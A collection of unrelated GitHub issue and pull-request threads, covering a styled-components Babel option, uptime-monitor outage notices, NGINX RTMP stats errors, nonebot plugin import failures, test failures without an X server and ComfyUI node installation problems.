import styled from "…"; styled() works right now, was not changed in this PR
import { styled as foo } from "…"; foo() doesn’t work right now (because of hardcoded styled in fast check), this PR fix it a little, but not ideal (files with different styled will be processed wrong)
styled() (no import) doesn’t work right now, this PR fix it.
foo() (no import) doesn’t work right now, this PR fix it.

If you want to fix case 3 too, I can change this PR:

styledTag by default will affect only on fast check
allowGlobal will allow missing import for styled (or any other tag from styledTag).

ohh okay, i misunderstood what was happening

@taion do you want to cover all 4 cases or current API is OK?

I was originally being intentional about not supporting the global case for new apis (e.g. styled) because I was viewing it as a Less Good API and only added the global option as a deprecation path for our existing code.
If you think there is a good reason to allow the global import case we can make it more exhaustive but I was thinking it's less ideal to have a implicit imports and you can warn if the tag isn't transpired for some reason. That and the styled case does actually need the runtime code

@jquense I agree, that allowGlobal is a tricky thing. I think about it only as advanced API.
My use case, I want to import a wrapper import styled from "../lib/styled"; styled() for some tricky thing in your project (mostly spelling check).
Maybe we can hide this options from docs because they are advanced?

@jquense global object is better, because we had auto-import for React, PropTypes and styled (so it is not global object, just Babel adds import on Program exit visitor).
If I will return all styled imports to all components, the PR will not look great and it will be harder for me to prove that switching is good. Also, I really like auto-importing feature :D.

I updated PR to cover all 4 cases

@jquense oops, seems like you accept PR before I made fix to use allowGlobal :D

I fixed conflict in case if you do want to use allowGlobal in styled

@jquense hi. Any thoughts about allowGlobal? =^_^=
I am OK with styledTag behavior which is master right now. But allowGlobal could be a more flexible solution. If you don’t like, just release current styledTag.

Sorry @ai just haven't had a moment to take a closer look!

@jquense friendly ping =^_^=

@jquense some linters are still not working in our project and it is bad 😭

Awesome =^_^= thanks.
Waiting for release.

ok out in v0.6.0

😸

authors: ai jquense taion


text:
🛑 ELOFICASH [Pre] is down

In fab8075, ELOFICASH [Pre] (https://000020.covline.es/ELOFICASH_000020) was down:

HTTP code: 200
Response time: 695 ms

Resolved: ELOFICASH [Pre] is back up in 9bdda93.


text:
Manage noticeboard of school

Where is Manage noticeboard of school section?

Does not exist sorry
The readme should be updated

Readme is updated @phpwebdesign the noticeboard is yet to be added

authors: 4jean phpwebdesign yungifez


text:
Problem with reloaded page

Hi, is it possible to prevent the song from stopping when the page is reloaded? Thank you in advance.

@neo191987 This is unrelated to amplitude. If you want your song to not "stop", then I advise you to redesign your site more dynamically instead of actually changing pages but loading, or having views to display.

@neo191987 , @LegitSoulja is right. To make page transitions without stopping you will have to create a single page application or some way of modifying the history of your page. This is unrelated to AmplitudeJS

authors: LegitSoulja danpastori neo191987


text:
Use the server's value for streaks if available

Two new values from the stats endpoint:

The number of streak weeks
The time of the first recorded call for this user

We don't currently use the second in iOS, but on the web it powers a field that says "Making calls since May 2017" or some such.

OK, I moved the weekly streak count into the UserStats object as well so the view model can continue being initialized with the same parameters.


text:
docker-compose 文件编译运行不起来

看情况，默认的是mysql数据库，但是wvpDockerfile中没有mysql，导致运行不起来

检查下数据库连接问题，记得初始化一下数据库表

检查下数据库连接问题，记得初始化一下数据库表

配置好了，但是ZLM连接不上，貌似都没测试
https://github.com/ZLMediaKit/ZLMediaKit/issues/3268


text:
add attr accessing

#10

there's a doc on adoption assertion on @CachedLibrary


text:
[NGINX] Error fetching stats

Hi all, I've configured everything in the guide RTMP stream to NGINX server working fine I can read the stats page. However when I end the RTMP connection on my phone to the server (Stop streaming) it does not switch to my offline scene it just sits there saying
[NGINX] Error fetching stats
[NGINX] Error fetching stats
[NGINX] Error fetching stats
Until I start the RTMP stream\connection again.
Tried this on a windows setup and to external centos 8 setup same issue

I've switched to using Nimble instead which works fine thansk @b3ck

Hey HyperVolcan,
Glad you got it working!
Could i still get the version number you are using, so I can test if there's no bug with NGINX.

Hey HyperVolcan,
Glad you got it working!
Could i still get the version number you are using, so I can test if there's no bug with NGINX.

Hey it was latest version of noalbs and error I had was with the included NGINX version & also NGINX 1.18.0 on centos 8

Ahh you weren't using the nginx-rtmp supplied with NOALBS, I wonder.. was
it still generating a stats page from statxsl and was it being called out
in the NGINX config?
On Tue, Feb 16, 2021, 4:45 AM HyperVolcan notifications@github.com wrote:

Hey HyperVolcan,
Glad you got it working!
Could i still get the version number you are using, so I can test if
there's no bug with NGINX.
Hey it was latest version of noalbs and error I had was with the included
NGINX version & also NGINX 1.18.0 on centos 8
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/715209/nginx-obs-automatic-low-bitrate-switching/issues/55#issuecomment-779753164,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AANI57XINTCMS5DL6XBJOB3S7JED5ANCNFSM4XVSLXFA
.

I did break the switching on stop last week for a day so I was wondering if that was the issue.

I have the same issue. Using NGINX. 1.9.1 works fine, 1.9.3 makes [NGINX] Error fetching stats

I'm using NGINX 1.19.6 and it's working fine.

1.17.5 here. I might check up on that.

Hey @715209 mate looks like you fixed the code for stopped stream or null stream should I try NGINX again?

You can if you want.. if NMS is working for you then why change it? NMS is
built-in.. that's one less thing to run..
-b3ck
On Tue, Feb 16, 2021 at 7:02 PM HyperVolcan notifications@github.com
wrote:

Hey @715209 https://github.com/715209 mate looks like you fixed the
code for stopped stream or null stream should I try NGINX again?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/715209/nginx-obs-automatic-low-bitrate-switching/issues/55#issuecomment-780219905,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AANI57SVUSN3JJYEWRIPWCDS7MIQZANCNFSM4XVSLXFA
.

No, still [NGINX] Error fetching stats using v1.9.4 with latest version of NGINX. (Your v1.9.1 works fine)
NGINX: 1.19.7
RTMP: 1.2.1
FFMPEG: 4.3.1
/Michael.


text:
关于数据集和读取数据集

文章中提到的数据集是txt形式的，为什么会在main文件里面使用get_fasta来读取文件。另外您的fs和tools文件并没有分享。如果可以的话请分享一下，谢谢

在python读取序列数据文件时，fasta文件和txt文件没有本质区别，只要其内容符合fasta格式即可。此外，序列预测领域的已发表文献中有相当大的比例均使用txt文件存储fasta格式，因此你的质疑并不合理。另外，tools工具包仅涉及一些简单的容易实现的功能函数比如ACC，AUC等，以及python读取文本文件，而不涉及手稿中的关键技术（如迁移学习模型和集成学习模块）。其中fs模块涉及序列编码方式的ilearn版本的实现，这在手稿中也提及了，因此你从ilearn也可以下载到这些编码方式的完整代码。同时，我们更新上传了fs和tools在代码官网的tools文件夹当中，方便您复现使用。如果您觉得我们的工作对您有用，请引用"DeepSF-4mC: A deep learning model for predicting DNA cytosine 4mC methylation sites leveraging sequence features"。

感谢您的帮助，祝学术长虹


text:
weird behaviour with Touchscreen

I am using FT2 Clone with a Windows 8 tablet, and it works great except the touchscreen has one issue: when I touch to click, the click appears always in the last position I touched the screen, not the one I am currently touching. Basically if I touch twice in the same place it will click the button under the touchscreen, but if I try to touch something else, it always click first on the last position. A sort of workaround is to not click (touch) but drag and position where I want to click, then touch twice and goes ahead, which makes all the experience ultra slow and cumbersome. Is there a reason for this? I only have this issue with FT2 Clone and with PT2 Clone, all other app works as expected with touchscreen
thank you

The FT2 (or PT2) clone is not designed for touchscreens, unfortunately.


text:
🛑 Mailsystem Internal is down

In c005a09, Mailsystem Internal ($MAIL_INT) was down:

HTTP code: 504
Response time: 11138 ms

Resolved: Mailsystem Internal is back up in b85f419 after 20 minutes.


text:
🛑 Mailsystem Internal is down

In 3bdaca1, Mailsystem Internal ($MAIL_INT) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Mailsystem Internal is back up in 7ff4174 after 8 minutes.


text:
Add prettier

Add prettier as a dev dependency and format the code.
https://prettier.io/

@rajikaimal Since repo doesn’t use any package manager currently, how should we add the dev dependency?

#9

authors: SahanDisa UdeshUK rajikaimal


text:
Add CODE_OF_CONDUCT.md

Add CODE_OF_CONDUCT.md

I would like to work on this issue.


text:
🛑 instagram is down

In ed80c99, instagram (https://www.instagram.com/9renpoto/) was down:

HTTP code: 429
Response time: 300 ms

Resolved: instagram is back up in 6ba5692 after 8 minutes.


text:
Add multilingual support for speech recognition

Introduced a versatile input language setting to enhance the application's speech recognition capabilities across various languages. This enhancement allows users to select their preferred language from a comprehensive dropdown list, ensuring accurate transcription for non-English speakers and thereby improving accessibility and user experience. The associated language setting dynamically adjusts the speech-to-text model's language parameter, aligning with the chosen input language.

I haven't see later, but maybe it fixes #93 - but I haven't done any test on other features then Socrates via STT.

I haven't see later, but maybe it fixes #93 - but haven't done any test on other features then Socrates via STT.

We would have to inject the language into each of the prompts, which maybe we can do on another MR but reusing this setting?

I haven't see later, but maybe it fixes #93 - but haven't done any test on other features then Socrates via STT.

We would have to inject the language into each of the prompts, which maybe we can do on another MR but reusing this setting?

Yes, I can do that next weekend. I mainly use Python for data science and it's been great learning JavaScript while working on Obsidian plugins that I like :)

Also, instead of marking the two snippets as resolved, can you click the commit (or commit to batch) so that they are also applied? Thanks

Also, instead of marking the two snippets as resolved, can you click the commit (or commit to batch) so that they are also applied? Thanks

oh, my bad - now it's done!

authors: A-F-V oscaromsn

repo: A-F-V/obsidian-arcana


text:
[BUG]: ImportError: cannot import name 'autorevoke_send' from 'nonebot.adapters.onebot.v11.helpers'

报告清单

[X] 我已仔细阅读并了解上述注意事项。
[X] 我已使用最新版本测试过，确定问题依旧存在。
[X] 我确定在 GitHub Issues 中没有相同或相似的问题。
[ ] 我愿意帮助修复此问题。（这会将您指定为此问题的受理人并自动创建修复分支）

影响版本
nonebot2-2.0.0b4|windows10专业版 21H1|github刚下载的插件本体
问题描述

如图
重现步骤
1.环境为真寻bot(https://github.com/HibiKier/zhenxun_bot)
2.放入extensive_plugin中重启并加载
预期行为
插件成功加载，功能可以使用
实际行为
报错，插件加载失败
日志信息
10-26 22:38:31 [ERROR] nonebot | Failed to import "aidraw"
Traceback (most recent call last):
File "D:\bot\zhenxun_bot-main\bot.py", line 16, in
nonebot.load_plugins("load_plugins")
File "C:\Users\kongb\AppData\Local\pypoetry\Cache\virtualenvs\zhenxun-bot-SfTik6JV-py3.9\lib\site-packages\nonebot\plugin\load.py", line 39, in load_plugins
return manager.load_all_plugins()
File "C:\Users\kongb\AppData\Local\pypoetry\Cache\virtualenvs\zhenxun-bot-SfTik6JV-py3.9\lib\site-packages\nonebot\plugin\manager.py", line 172, in load_all_plugins
return set(
File "C:\Users\kongb\AppData\Local\pypoetry\Cache\virtualenvs\zhenxun-bot-SfTik6JV-py3.9\lib\site-packages\nonebot\plugin\manager.py", line 173, in
filter(None, (self.load_plugin(name) for name in self.available_plugins))

File "C:\Users\kongb\AppData\Local\pypoetry\Cache\virtualenvs\zhenxun-bot-SfTik6JV-py3.9\lib\site-packages\nonebot\plugin\manager.py", line 148, in load_plugin
module = importlib.import_module(
File "c:\users\kongb\appdata\local\programs\python\python39\lib\importlib_init_.py", line 127, in import_module
return _bootstrap._gcd_import(name[level:], package, level)
File "", line 1030, in _gcd_import
File "", line 1007, in _find_and_load
File "", line 986, in _find_and_load_unlocked
File "", line 680, in _load_unlocked
File "C:\Users\kongb\AppData\Local\pypoetry\Cache\virtualenvs\zhenxun-bot-SfTik6JV-py3.9\lib\site-packages\nonebot\plugin\manager.py", line 237, in exec_module
super().exec_module(module)
File "", line 850, in exec_module
File "", line 228, in call_with_frames_removed
File "D:\bot\zhenxun_bot-main\load_plugins\aidraw_init.py", line 1, in
from . import draw, count
File "D:\bot\zhenxun_bot-main\load_plugins\aidraw\draw.py", line 17, in
from nonebot.adapters.onebot.v11.helpers import (
ImportError: cannot import name 'autorevoke_send' from 'nonebot.adapters.onebot.v11.helpers' (C:\Users\kongb\AppData\Local\pypoetry\Cache\virtualenvs\zhenxun-bot-SfTik6JV-py3.9\lib\site-packages\nonebot\adapters\onebot\v11\helpers.py)

额外补充
图片见问题描述

升级 onebot 适配器

repo: A-kirami/nonebot-plugin-aidraw


text:
报告清单

[X] 我已仔细阅读并了解上述注意事项。
[X] 我已使用最新版本测试过，确认功能并未实现。
[X] 我确定在 GitHub Issues 中没有相同或相似的需求。
[ ] 我有足够的时间和能力，愿意为此提交 PR 来实现功能。

您希望能解决什么样的问题？
我的nonebot在调用chatgpt的时候会和另一个聊天ai插件冲突，所以我不得不只选择其中一个进行启动，但我想要两个同时启动，以另一个ai为主，chatgpt为辅。
您想要的解决方案
修改命令方式，不是@机器人启动，而是通过"对话"，“提问”等字符串启动，这样就可以两个一起用啦。希望大佬能康康我的问题。
您考虑过的替代方案
No response
实现的功能是什么样的？
No response
还有什么要补充的吗？
No response

CHATGPT_TO_ME = False
CHATGPT_COMMAND = ["对话", "提问"]

好的，我康康，谢谢

authors: MoKeNeng zhulinyv

repo: A-kirami/nonebot-plugin-chatgpt


text:
怎么设置x轴的第一个分类标题在坐标原点上

重复问题, 参见 https://github.com/AAChartModel/AAChartKit/issues/937

按照上面的配置，依旧是没有在原点上，如果是在原点上，0上节点，中心应该是y轴穿过，现在没有

authors: AAChartModel ShuangZiMoYin

repo: AAChartModel/AAChartKit


text:
SPAN_BUILTIN constant is not applied for target framework netcoreapp3.1

Please compare..
https://github.com/AArnott/Nerdbank.Streams/blob/227ee889fe070bbf1ffcf57d9842887f7bdc3570/src/Nerdbank.Streams/Nerdbank.Streams.csproj#L9
..with this:
https://github.com/AArnott/Nerdbank.Streams/blob/227ee889fe070bbf1ffcf57d9842887f7bdc3570/src/Directory.Build.props#L11

Thanks for noticing. It turns out that the second line you pointed out takes care of it by defining SPAN_BUILTIN for netcoreapp3.1. But I should remove the line from the csproj since it looks misleading.

authors: AArnott tedvanderveen


text:
Test failures

When I run ctest, a few test cases are failing:
Test project /opt/morphologica/build
      Start  1: testbez
 1/34 Test  #1: testbez ..........................   Passed    0.02 sec
      Start  2: testbez2
 2/34 Test  #2: testbez2 .........................   Passed    0.16 sec
      Start  3: testbezcurves
 3/34 Test  #3: testbezcurves ....................   Passed    0.12 sec
      Start  4: testbezmatrix
 4/34 Test  #4: testbezmatrix ....................   Passed    0.48 sec
      Start  5: testbezfit
 5/34 Test  #5: testbezfit .......................   Passed    0.01 sec
      Start  6: testbezsplit
 6/34 Test  #6: testbezsplit .....................   Passed    0.01 sec
      Start  7: testbezderiv
 7/34 Test  #7: testbezderiv .....................***Exception: Child aborted  0.65 sec
      Start  8: twocurves
 8/34 Test  #8: twocurves ........................   Passed    0.02 sec
      Start  9: testreadcurves
 9/34 Test  #9: testreadcurves ...................   Passed    0.07 sec
      Start 10: testreadcurves_circles
10/34 Test #10: testreadcurves_circles ...........   Passed    0.04 sec
      Start 11: testdisplay
11/34 Test #11: testdisplay ......................***Failed    0.04 sec
      Start 12: testhexgrid
12/34 Test #12: testhexgrid ......................   Passed    2.03 sec
      Start 13: testhexgrid2
13/34 Test #13: testhexgrid2 .....................   Passed    0.19 sec
      Start 14: testhexgrid3
14/34 Test #14: testhexgrid3 .....................***Failed    0.19 sec
      Start 15: testhexgridsave
15/34 Test #15: testhexgridsave ..................***Failed   21.67 sec
      Start 16: testdom_pgram
16/34 Test #16: testdom_pgram ....................***Failed    3.49 sec
      Start 17: testdom_rect
17/34 Test #17: testdom_rect .....................***Failed    3.54 sec
      Start 18: testdom_hex
18/34 Test #18: testdom_hex ......................***Failed    2.40 sec
      Start 19: testdom_bound
19/34 Test #19: testdom_bound ....................***Failed    0.17 sec
      Start 20: testhexbounddist
20/34 Test #20: testhexbounddist .................   Passed    0.45 sec
      Start 21: testhdfdata1
21/34 Test #21: testhdfdata1 .....................   Passed    0.03 sec
      Start 22: testhdfdata2
22/34 Test #22: testhdfdata2 .....................   Passed    0.04 sec
      Start 23: testProcess
23/34 Test #23: testProcess ......................   Passed    0.09 sec
      Start 24: testQuaternion
24/34 Test #24: testQuaternion ...................   Passed    0.00 sec
      Start 25: testVector3
25/34 Test #25: testVector3 ......................   Passed    0.00 sec
      Start 26: testTransformMatrix
26/34 Test #26: testTransformMatrix ..............   Passed    0.00 sec
      Start 27: testHexVertexPos
27/34 Test #27: testHexVertexPos .................   Passed    0.01 sec
      Start 28: testHexUserFlags
28/34 Test #28: testHexUserFlags .................   Passed    0.01 sec
      Start 29: testDirichlet
29/34 Test #29: testDirichlet ....................***Failed    0.03 sec
      Start 30: testDirichlet2
30/34 Test #30: testDirichlet2 ...................***Failed    0.03 sec
      Start 31: testDirichlet4
31/34 Test #31: testDirichlet4 ...................***Failed    0.05 sec
      Start 32: testDirichlet5
32/34 Test #32: testDirichlet5 ...................***Failed    0.04 sec
      Start 33: testMathAlgo
33/34 Test #33: testMathAlgo .....................   Passed    0.00 sec
      Start 34: testNMSimplex
34/34 Test #34: testNMSimplex ....................   Passed    0.00 sec

65% tests passed, 12 tests failed out of 34

Total Test time (real) =  36.17 sec

The following tests FAILED:
          7 - testbezderiv (Child aborted)
         11 - testdisplay (Failed)
         14 - testhexgrid3 (Failed)
         15 - testhexgridsave (Failed)
         16 - testdom_pgram (Failed)
         17 - testdom_rect (Failed)
         18 - testdom_hex (Failed)
         19 - testdom_bound (Failed)
         29 - testDirichlet (Failed)
         30 - testDirichlet2 (Failed)
         31 - testDirichlet4 (Failed)
         32 - testDirichlet5 (Failed)
Errors while running CTest

This is reproducible as follows:
docker run -i tindzk/morphologica:2020-02-18 sh
cd /opt && \
git clone https://github.com/ABRG-Models/morphologica.git && \
cd morphologica && \
mkdir build && \
cd build && \
cmake .. -DCMAKE_INSTALL_PREFIX=/usr/local && \
make -j$(nproc) && ctest

The tests which fail require an X server.

Ideally the tests that use X should be carried out only if there's an X server/desktop environment present. Not sure what the best way to ascertain that would be.

We could call XOpenDisplay() and skip these tests when the function returns NULL.

Perhaps that's the best approach - an XOpenDisplay() call in each X-using test, and if there's no X, then return 0 (no error).

Sorted most of these with commit 7ac00c2 though not the testbezderiv example, which uses OpenCV for drawing - that might compile on non-X ok, so testing for X may not be the right approach. Plus there are probably some recent OpenGL tests which will still fail. However, these OpenGL programs can definitely compile on non-X and so testing for X is not right for these, either.

All this was sorted a while ago. None of the few tests that run with make test now use any kind of graphics (all graphical progs are in examples/ )

authors: sebjameswml tindzk

repo: ABRG-Models/morphologica


text:
Initial checkin

This PR:

creates a command line UX for gen3_util
includes tests and source code conventions
distributes to pypi

$gen3_util --help

Usage: gen3_util [OPTIONS] COMMAND [ARGS]...

  Gen3 Management Utilities

Options:
  --config TEXT              Path to config file. GEN3_UTIL_CONFIG
  --format [yaml|json|text]  Result format. GEN3_UTIL_FORMAT
  --help                     Show this message and exit.

Commands:
  projects  Manage Gen3 projects.
  meta      Manage meta data.
  files     Manage file buckets.
  config    Configure this utility.

$ gen3_util projects

Usage: gen3_util projects [OPTIONS] COMMAND [ARGS]...

  Manage Gen3 projects.

Options:
  --help  Show this message and exit.

Commands:
  ls     List all projects.
  touch  Create a project
  rm     Remove project.
$ gen3_util meta

Usage: gen3_util meta [OPTIONS] COMMAND [ARGS]...

  Manage meta data.

Options:
  --help  Show this message and exit.

Commands:
  ls        List meta in a project.
  validate  Copy meta to/from the project bucket.
  cp        Copy meta to/from the project bucket.
  rm        Remove meta from a project.

$ gen3_util files

Usage: gen3_util files [OPTIONS] COMMAND [ARGS]...

  Manage file buckets.

Options:
  --help  Show this message and exit.

Commands:
  ls  List files in a project.
  cp  Copy files to/from the project bucket.
  rm  Remove files from a project.

$ gen3_util config

Usage: gen3_util config [OPTIONS] COMMAND [ARGS]...

  Configure this utility.

Options:
  --help  Show this message and exit.

Commands:
  ls  Show defaults.
$


text:
dev分支合并入主分支

此次pr内容量巨大, 嫌麻烦可以忽略日志

实用更新

添加bilibili官号订阅功能(顺便内置了md2img模块)
群申请以及好友申请处理
添加黑名单功能
基础群互动以及欢迎语
装备数据渲染图

功能更新

各功能可设置cd时间
错误上报模块
通用json库
一键安装脚本
自检功能

优化

包管理器弃用requirements转为pyproject.toml
配置文件弃用.env, 改为config.yml
数据同步弃用github API, 改为git

#12 参见 bf69b9a
#15 参见 9be9bc3

repo: ACGN-Alliance/Azurlane-helper-bot


text:
the run claims all is done but there is no data in input or in output

Retrying a previously set up run. Updated to nightly then run the script. It claims all is done, but no data is in inputs and no data in output. I could not close the job either with Ctr C, Ctr X. Pushed it to bakground with Ctr Z and then killed -9 process, to get rid of it.
Directory on acme1: /export/mccoy20/pRen/test_2017-09-14-Chris

This was the run.cfg problem ( pointed out https://github.com/ACME-Climate/acme_processflow/issues/33). It is running now.


text:
Data Type for Reference Id

Up until this point, CompoundId.ReferenceId and its associated foreign keys have been negative integers, and I have initially modelled it as a number in Score.
Going forward, I'm inclined to refactor this to be a string so that the field can contain any unique value (integer, string, UUID) at the discretion of the implementer.  For example, we can maintain the negative integers in the C# representation and just convert them to strings upon creation.
@strhea Any initial thoughts?

In the interests of limiting the amount of data types I need to refactor, I went ahead and made this change in Score.

@strhea & Andres F indicate support, acknowledging space padding issues

This was agreed by the large group at the Midyear meeting and was further reviewed in the 8/3/22 meeting.

repo: ADAPT/Standard


text:
Arm64 kernel patch

any chance of kernel patch for arm64? Thanks

kernel patch / setenforcing 0 is no longer required now. But it's blocked by another webview related issue in arm64 wsa: https://github.com/ADeltaX/WSAGAScript/issues/22

repo: ADeltaX/WSAGAScript

license: Unlicense


text:
iOS app crash: WebThread EXC_BAD_ACCESS

What did you do?
I am running app on 14 beta version, while playing series of ad app getting crashed.
On backtrace thread I got pointer to AFNetworking's method "networkRequestThreadEntryPoint" "[runLoop run];"
Note: App works fine on 13 or earlier versions.
What did you expect to happen?
App should not crash
What happened instead?
App getting crashed every-time ad plays. Please find attachment for crashlogs.
AFNetworking Environment
AFNetworking version: 2.6.3
Xcode version: Version 12.0 beta 2 (12A6163b)
Objective C
Platform(s) running AFNetworking: iOS
macOS version running Xcode: 10.15.5
Demo Project
ℹ Please link to or upload a project we can download that reproduces the issue.

WebThread_Crash_report.txt

repo: AFNetworking/AFNetworking


text:
🛑 Control TCP ping is down

In f4849cd, Control TCP ping (1.1.1.1) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Control TCP ping is back up in 5f1d079.


text:
69 bug load checkpoint for graphbean model @coderabbitai

Dataset Addition Merge Checklist
Please ensure the following are completed before merging this pull request:

[ ] Contributor signed the license agreement: To contribute to our repository, the contributor must sign the license agreement
[ ] Thorough Description: The contribution is adequately described, including origin, content, size, licensing, and the relevant academic paper.
[ ] Clear notebook guide on how to use the script.

Thanks for contributing

Summary by CodeRabbit

New Features

Introduced auto-encoder dimensionality configuration based on dataset metadata in multiple modules.
Added a mapping dictionary to store and pass dimensionalities to the GraphBEANModule.

Refactor

Replaced hetero_data parameter with node_types in GraphBeanClassifier.
Updated GraphBEANModule to accept node_types and mapping parameters.
Various metrics and setup functions were removed or refactored in GraphBEANModule.

@coderabbitai review


text:
Does not work when installed from ComfyUI Manager

Node does not show up, says that it failed. Clicking retry does not help, restarting either.

manager can't debug for  you

Seems like this may be the problem

I've tried both the manual and manager installation procedures, both result in the exact same error as pictured above.

Seems like this may be the problem

the same (;

If u have it running on windows it wont work anyway because windows doesnt support the required Triton.

If u have it running on windows it wont work anyway because windows doesnt support the required Triton.

I'm on Ubuntu 24.04

If u have it running on windows it wont work anyway because windows doesnt support the required Triton.

Thanks for pointing that our Zappazack. Looks like it's time for me to set up docker :(

If u have it running on windows it wont work anyway because windows doesnt support the required Triton.

It works on Windows. Triton is optional package.

Hi,
Any news with the conflict problem?
Thanks 4 your help.

This is the problem I am having, all the nodes from the basic workflow show, no red, as far as I can tell I have all the pretrained models, my image is 512x512 and the length of my audio is 2 minutes what happens is as soon as I hit Que the Hallo node flashes then the video preview without doing anything. Am I doing something wrong or am I missing something?

If u have it running on windows it wont work anyway because windows doesnt support the required Triton.

It works on Windows. Triton is optional package.

how do you skip triton error?

Update, fixed windows issue: https://github.com/AIFSH/ComfyUI-Hallo/issues/9

as I was booting up Comfy through Stability Matrix I noticed this error, ModuleNotFoundError: No module named 'dlib', would this effect Hallo not working in comfy?

authors: AIFSH Falkonar Pendragon51 alessandro893 itsikbst paulerbear popovidis zappazack

repo: AIFSH/ComfyUI-Hallo


text:
🛑 بیمه سامان is down

In 81d312e, بیمه سامان (https:/si24.ir) was down:

HTTP code: 0
Response time: 0 ms

Resolved: بیمه سامان is back up in a835633.


text:
New workflow structure

This PR implements a new workflow structure which includes workflow files via the uses keyword.

We're currently processing your upload.  This comment will be updated when the results are available.

authors: codecov-commenter dirksammel

repo: ALU-Schumacher/AUDITOR